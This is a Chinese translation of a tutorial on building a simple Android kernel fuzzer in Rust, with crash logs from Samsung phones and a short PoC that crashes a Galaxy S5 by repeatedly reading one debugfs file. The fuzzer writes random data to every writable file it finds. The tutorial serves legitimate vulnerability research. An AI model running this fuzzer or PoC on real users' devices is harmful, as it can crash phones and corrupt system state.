原文:https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html
译者注:原作者的文风比较活泼,所以,上车前,请各位做好相应的心理准备。
免责声明
请读者注意,这里讨论的安全问题并不是通用的Android漏洞,而是只影响某种型号的设备,所以,这些漏洞的危害程度都是有限的。另外,本文旨在为读者介绍如何亲自编写一个简陋的Android fuzzer,然后设法加以改进,而不是为了严肃地讨论Android的安全性问题。
代码下载地址
简介
在本文中,我们首先会动手打造一款简陋的Android fuzzer,然后进行改进,从而享受不断进步的喜悦之情。
在进行Android设备模糊测试时,我们需要做的第一件事就是获取手机上的设备列表,从而找出可以访问的设备。这很简单,对吧?为此,我们可以进入/dev目录,并运行ls -l命令,然后,从中查找所有用户都具有读或写权限的设备即可。嗯...对于selinux,情况并非如此,因为它还要求我们对selinux的策略有所了解才行。
为了解决这个问题,让我们先从最简单的地方下手:编写一个程序,只要求它能够在要挖掘漏洞的上下文中运行即可。该程序的功能非常简单,列出手机上的所有文件,并尝试打开它们,以进行读写操作。这样,我们就能得到一个列表,其中包含了我们在手机上有权打开的所有文件/设备。在本文中,我们将使用adb shell,因此,我们是在u:r:shell:s0
上下文中运行。
遍历所有文件
好吧,我想要快速遍历手机上的所有文件,并判断自己是否对其具有读写权限。这件事情并不太难,完全可以通过Rust来实现。
/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
// List the directory
let list = std::fs::read_dir(dir);
if let Ok(list) = list {
// Go through each entry in the directory, if we were able to list the
// directory safely
for entry in list {
if let Ok(entry) = entry {
// Get the path representing the directory entry
let path = entry.path();
// Get the metadata and discard errors
if let Ok(metadata) = path.symlink_metadata() {
// Skip this file if it's a symlink
if metadata.file_type().is_symlink() {
continue;
}
// Recurse if this is a directory
if metadata.file_type().is_dir() {
listdirs(&path, output_list);
}
// Add this to the directory listing if it's a file
if metadata.file_type().is_file() {
let can_read =
OpenOptions::new().read(true).open(&path).is_ok();
let can_write =
OpenOptions::new().write(true).open(&path).is_ok();
output_list.push((path, can_read, can_write));
}
}
}
}
}
}
对吧,这的确很简单。为了得到手机中完整的目录列表,我们可以借助下列代码:
// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);
模糊测试
现在,我们已经能够获得包含所有文件的列表了。接下来,我们就可以通过手动方式来考察列表,并进行相应的源代码审核了。这种方法当然可以挖掘出手机中的安全漏洞,但问题是,我们能否让这个过程实现自动化呢?
如果我们想要直接对文件进行读写尝试的话,该怎么办呢?由于我们这些文件一无所知,所以,我们不妨直接写入一些合理大小的随机数据。
// List all files on the system
let mut listing = Vec::new();
listdirs(Path::new("/"), &mut listing);
// Fuzz buffer
let mut buf = [0x41u8; 8192];
// Fuzz forever
loop {
// Pick a random file
let rand_file = rand::random::<usize>() % listing.len();
let (path, can_read, can_write) = &listing[rand_file];
print!("{:?}\n", path);
if *can_read {
// Fuzz by reading
let fd = OpenOptions::new().read(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.read(&mut buf[..fuzz_size]);
}
}
if *can_write {
// Fuzz by writing
let fd = OpenOptions::new().write(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.write(&buf[..fuzz_size]);
}
}
}
当运行上述代码时,它几乎会立即停止,并且通常是“挂在”/sys/kernel/debug/tracing/per_cpu/cpu1/trace_pipe之类的东西上。一般情况下,手机上会有许多sysfs和procfs文件,当代码试图读取它们时,就会被永远挂起。由于这会阻止“fuzzer”继续运行,所以,我们需要设法绕过这个障碍。
但是,如果我们有128个线程的话,结果会如何呢?当然,某些线程肯定会被挂起,但是,至少有些线程还能多坚持一会,对吧?以下是完整的程序:
extern crate rand;
use std::sync::Arc;
use std::fs::OpenOptions;
use std::io::{Read, Write};
use std::path::{Path, PathBuf};
/// Maximum number of threads to fuzz with
const MAX_THREADS: u32 = 128;
/// Recursively list all files starting at the path specified by `dir`, saving
/// all files to `output_list`
fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
// List the directory
let list = std::fs::read_dir(dir);
if let Ok(list) = list {
// Go through each entry in the directory, if we were able to list the
// directory safely
for entry in list {
if let Ok(entry) = entry {
// Get the path representing the directory entry
let path = entry.path();
// Get the metadata and discard errors
if let Ok(metadata) = path.symlink_metadata() {
// Skip this file if it's a symlink
if metadata.file_type().is_symlink() {
continue;
}
// Recurse if this is a directory
if metadata.file_type().is_dir() {
listdirs(&path, output_list);
}
// Add this to the directory listing if it's a file
if metadata.file_type().is_file() {
let can_read =
OpenOptions::new().read(true).open(&path).is_ok();
let can_write =
OpenOptions::new().write(true).open(&path).is_ok();
output_list.push((path, can_read, can_write));
}
}
}
}
}
}
/// Fuzz thread worker
fn worker(listing: Arc<Vec<(PathBuf, bool, bool)>>) {
// Fuzz buffer
let mut buf = [0x41u8; 8192];
// Fuzz forever
loop {
let rand_file = rand::random::<usize>() % listing.len();
let (path, can_read, can_write) = &listing[rand_file];
//print!("{:?}\n", path);
if *can_read {
// Fuzz by reading
let fd = OpenOptions::new().read(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.read(&mut buf[..fuzz_size]);
}
}
if *can_write {
// Fuzz by writing
let fd = OpenOptions::new().write(true).open(path);
if let Ok(mut fd) = fd {
let fuzz_size = rand::random::<usize>() % buf.len();
let _ = fd.write(&buf[..fuzz_size]);
}
}
}
}
fn main() {
// Optionally daemonize so we can swap from an ADB USB cable to a UART
// cable and let this continue to run
//daemonize();
// List all files on the system
let mut dirlisting = Vec::new();
listdirs(Path::new("/"), &mut dirlisting);
print!("Created listing of {} files\n", dirlisting.len());
// We wouldn't do anything without any files
assert!(dirlisting.len() > 0, "Directory listing was empty");
// Wrap it in an `Arc`
let dirlisting = Arc::new(dirlisting);
// Spawn fuzz threads
let mut threads = Vec::new();
for _ in 0..MAX_THREADS {
// Create a unique arc reference for this thread and spawn the thread
let dirlisting = dirlisting.clone();
threads.push(std::thread::spawn(move || worker(dirlisting)));
}
// Wait for all threads to complete
for thread in threads {
let _ = thread.join();
}
}
extern {
fn daemon(nochdir: i32, noclose: i32) -> i32;
}
pub fn daemonize() {
print!("Daemonizing\n");
unsafe {
daemon(0, 0);
}
// Sleep to allow a physical cable swap
std::thread::sleep(std::time::Duration::from_secs(10));
}
对于上述代码,它们会遍历手机内所有目录,从而得到一个完整的目录列表,然后启动MAX_THREADS个线程,这些线程将不断地随机选择要读写的文件。
好了,现在我们已经打造了一款“世界级”的Android内核fuzzer,接下来,看看能否用它找到一些0-day漏洞!
首先,让我们在三星Galaxy S8 (G950FXXU4CRI5)上运行这个程序,然后,从手机中读取/proc/last_kmsg文件,看看我们是如何让它崩溃的:
Unable to handle kernel paging request at virtual address 00662625
sec_debug_set_extra_info_fault = KERN / 0x662625
pgd = ffffffc0305b1000
[00662625] *pgd=00000000b05b7003, *pud=00000000b05b7003, *pmd=0000000000000000
Internal error: Oops: 96000006 [#1] PREEMPT SMP
exynos-snapshot: exynos_ss_get_reason 0x0 (CPU:1)
exynos-snapshot: core register saved(CPU:1)
CPUMERRSR: 0000000002180488, L2MERRSR: 0000000012240160
exynos-snapshot: context saved(CPU:1)
exynos-snapshot: item - log_kevents is disabled
TIF_FOREIGN_FPSTATE: 0, FP/SIMD depth 0, cpu: 0
CPU: 1 MPIDR: 80000101 PID: 3944 Comm: Binder:3781_3 Tainted: G W 4.4.111-14315050-QB19732135 #1
Hardware name: Samsung DREAMLTE EUR rev06 board based on EXYNOS8895 (DT)
task: ffffffc863c00000 task.stack: ffffffc863938000
PC is at kmem_cache_alloc_trace+0xac/0x210
LR is at binder_alloc_new_buf_locked+0x30c/0x4a0
pc : [<ffffff800826f254>] lr : [<ffffff80089e2e50>] pstate: 60000145
sp : ffffffc86393b960
[<ffffff800826f254>] kmem_cache_alloc_trace+0xac/0x210
[<ffffff80089e2e50>] binder_alloc_new_buf_locked+0x30c/0x4a0
[<ffffff80089e3020>] binder_alloc_new_buf+0x3c/0x5c
[<ffffff80089deb18>] binder_transaction+0x7f8/0x1d30
[<ffffff80089e0938>] binder_thread_write+0x8e8/0x10d4
[<ffffff80089e11e0>] binder_ioctl_write_read+0xbc/0x2ec
[<ffffff80089e15dc>] binder_ioctl+0x1cc/0x618
[<ffffff800828b844>] do_vfs_ioctl+0x58c/0x668
[<ffffff800828b980>] SyS_ioctl+0x60/0x8c
[<ffffff800815108c>] __sys_trace_return+0x0/0x4
太棒了,竟然解除了对地址00662625的引用,这可是我最喜欢的内核地址!看起来,这里的崩溃是某种形式的堆损坏所致。我们大概率能够利用这个漏洞,特别是如果我们能够映射到0x00662625处的好,我们就能够从用户空间来控制内核空间中的对象了。这种特定的bug已经很少见了,不过,大家可以在“耻辱墙”部分找到各种具有针对性的POC。
“fuzzer”的应用技巧
虽然这个fuzzer看起来非常简单,但是掌握下列技巧,对于我们来说还是非常有帮助的。
技巧集:
使用上面的技巧,我几乎可以让这个fuzzer在我4年中用过的所有手机上正常运行,不过,随着selinux策略规则越来越严格,将来的成功的机会将会越来越少。
下一款设备
好的,上面我们一家尝试了最新的Galaxy S8,接下来,让我们看看这个fuzzer在老款Galaxy S5(G900FXXU1CRH1)手机上的表现如何。实际上,这里会崩溃地更快。但是,当我们尝试读取/proc/last_kmsg的时候,我们将发现该文件根本就不存在。为此,我们又在USB上尝试了带有619k电阻器的UART电缆,并对应用程序执行daemonize(),以期观察到崩溃情况。然而,就这里来说,这一招也没有奏效(老实说,不知道为什么,我虽然得到了dmesg输出,但没有找到死机日志)。
好了,现在我们遇到了一个难题,那么,接下来该如何从根本上解决这个问题呢?实际上,我们可以对文件系统进行二分查找,并将某些文件夹列入黑名单,从而进一步缩小搜索范围。废话少说,放手干吧!
首先,让我们只允许使用/sys/*,所有其他文件都将被禁止,因为这些问题根源通常位于sysfs和procfs目录中。为此,我们可以将目录列表调用改为
listdirs(Path::new("/sys"), &mut dirlisting);
哇,真的有效!崩溃得更快了,这次我们将范围限制为/sys。由此可以推断出,问题根源位于/sys中。
现在,我们将深入考察/sys,比如,我们可以先尝试/sys/devices目录……哎,这次的运气不佳。所以,还得继续尝试其他目录,比如/sys/kernel……太好了,这次成功了!
所以,我们可以将范围进一步缩小到/sys/kernel/debug目录,即使如此,这个目录中也还有85个文件夹。这个数量还是不少,所以我才不想手工完成相应的工作呢。所以,能否改进一下我们的fuzzer呢?
改进fuzzer
就目前来说,我们还不知道是操作哪些文件时导致了崩溃。不过,我们可以将其全部输出,然后利用ADB进行检查,但是当手机死机时,无法进行同步……我们需要更好的方法。
也许,我们应该通过网络发送正在进行模糊测试的文件名,然后通过一个服务来确认文件名,这样文件就不会被“触及”了,除非它们已经确认要通过网络进行报告。不过,这会不会太慢呢?这个倒是很难说,不如让我们试一试吧!
首先,使用Rust编写一个简单的服务器,让其在我们的主机上运行,然后通过adb reverse tcp:13370 tcp:13370
命令,将手机通过ADB USB连接到这个服务器,这样就会把手机上指向127.0.0.1:13370
端口的连接转发到运行服务器的主机上,以便记录下相应的文件名。
设计一个糟糕的协议
我们需要一个在TCP上工作的快速协议来发送文件名。为此,这个协议越简单越好:客户端发送文件名,然后服务器以“ACK”进行响应。为了保持简单起见,这里既不考虑线程问题,也不考虑文件被访问后经常出现的堆损坏问题。毕竟我们的要求并不高,只要弄出一个可用的fuzzer就行了,对吧?
use std::net::TcpListener;
use std::io::{Read, Write};
fn main() -> std::io::Result<()> {
let listener = TcpListener::bind("0.0.0.0:13370")?;
let mut buffer = vec![0u8; 64 * 1024];
for stream in listener.incoming() {
print!("Got new connection\n");
let mut stream = stream?;
loop {
if let Ok(bread) = stream.read(&mut buffer) {
// Connection closed, break out
if bread == 0 {
break;
}
// Send acknowledge
stream.write(b"ACK").expect("Failed to send ack");
stream.flush().expect("Failed to flush");
let string = std::str::from_utf8(&buffer[..bread])
.expect("Invalid UTF-8 character in string");
print!("Fuzzing: {}\n", string);
} else {
// Failed to read, break out
break;
}
}
}
Ok(())
}
这个服务器的代码很垃圾,但对于我们来说却刚刚好。无论如何,我们要做的是一个fuzzer,如果所有代码都完美无瑕,我们到哪里去找bug去。
客户端代码
对于手机来说,我们只要在上面实现一个简单的函数即可:
// Connect to the server we report to and pass this along to functions
// threads that need socket access
let stream = Arc::new(Mutex::new(TcpStream::connect("127.0.0.1:13370")
.expect("Failed to open TCP connection")));
fn inform_filename(handle: &Mutex<TcpStream>, filename: &str) {
// Report the filename
let mut socket = handle.lock().expect("Failed to lock mutex");
socket.write_all(filename.as_bytes()).expect("Failed to write");
socket.flush().expect("Failed to flush");
// Wait for an ACK
let mut ack = [0u8; 3];
socket.read_exact(&mut ack).expect("Failed to read ack");
assert!(&ack == b"ACK", "Did not get ACK as expected");
}
制作黑名单
好了,现在我们有了一个日志,其中记录了我们正在模糊的所有文件,并且这些文件得到了服务器的确认,这样我们就不会丢失任何东西了。让我们将它设置为单线程模式,这样做的好处就是,我们再也不用担心竞争条件了。
我们会看到,它经常会因某些文件而“挂掉”,我们可把这些文件记录下来,以此制作黑名单。为此,需要一些“体力劳动”:通常要向这个列表中放入少量(5-10个)文件。一般来说,我会根据文件名的开头部分来制作黑名单,因此可以根据starts_with的匹配结果将整个目录列入黑名单。
继续进行模糊测试
因此,我们可以看到,在崩溃之前接触的最后一个文件是/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout
。
下面,我们给出一个完全独立的PoC:
use std::fs::File;
use std::io::Read;
fn thrasher() {
// Buffer to read into
let mut buf = [0x41u8; 8192];
let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";
loop {
if let Ok(mut fd) = File::open(fn) {
let _ = fd.read(&mut buf);
}
}
}
fn main() {
// Make fuzzing threads
let mut threads = Vec::new();
for _ in 0..4 {
threads.push(std::thread::spawn(move || thrasher()));
}
// Wait for all threads to exit
for thr in threads {
let _ = thr.join();
}
}
多么棒的PoC啊!
下一个bug?
因此,既然我们已经找到了导致bug的根源,我们就应该将已知会导致bug的特定文件都列入黑名单,然后再试一次。因为这个bug很可能隐藏了另一个。
不,除此之外,已经没有bug了,因为按照官方的说法,S5是非常安全的,已经修复了所有的bug。
一个时代的终结
可悲的是,这个fuzzer即将成为历史。过去,它几乎适用于每部手机,即使手机启用了selinux,它仍然适用。但遗憾的是,随着时间的推移,这些bug已经隐藏到了selinux策略的背后,我们根本无法触及它们。目前,我只能说该fuzzer适用于我手头上的几部手机,而不是所有手机,令人欣慰的是,至少它在过去是行得通的。
这个fuzzer肯定还有很多待改进之处,毕竟本文的目标是打造一款“糟糕”的fuzzer,而不是一个“令人满意”的fuzzer。如果读者精力旺盛的话,可以继续鼓捣,比如:
将来,也许我会撰文介绍如何利用这些漏洞,或者从源代码中寻找问题的根源。
耻辱墙
大家可以在自己的测试手机上跑一下这个fuzzer(注意,不要在日常使用的手机上跑,这可能是一个糟糕的主意)。如果您发现任何愚蠢的错误,请一定通知我,以便将其添加到耻辱墙上。
G900F (Exynos Galaxy S5) [G900FXXU1CRH1] (August 1, 2017)
PoC
use std::fs::File;
use std::io::Read;
fn thrasher() {
// Buffer to read into
let mut buf = [0x41u8; 8192];
let fn = "/sys/kernel/debug/smp2p_test/ut_remote_gpio_inout";
loop {
if let Ok(mut fd) = File::open(fn) {
let _ = fd.read(&mut buf);
}
}
}
fn main() {
// Make fuzzing threads
let mut threads = Vec::new();
for _ in 0..4 {
threads.push(std::thread::spawn(move || thrasher()));
}
// Wait for all threads to exit
for thr in threads {
let _ = thr.join();
}
}
J200H (Galaxy J2) [J200HXXU0AQK2] (August 1, 2017)
不要求root权限,可以直接运行该fuzzer
[c0] Unable to handle kernel paging request at virtual address 62655726
[c0] pgd = c0004000
[c0] [62: ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc : [<c0302848>] lr : [<62655722>] psr: 000d0093
sp : ee457d20 ip : 00000000 fp : ee457d54
[c0] r10: ed859210 r9 : c0c833e4 r8 : ed859338
[c0] r7 : ee456000
[c0] PC is at devres_for_each_res+0x68/0xdc
[c0] LR is at 0x62655722
[c0] pc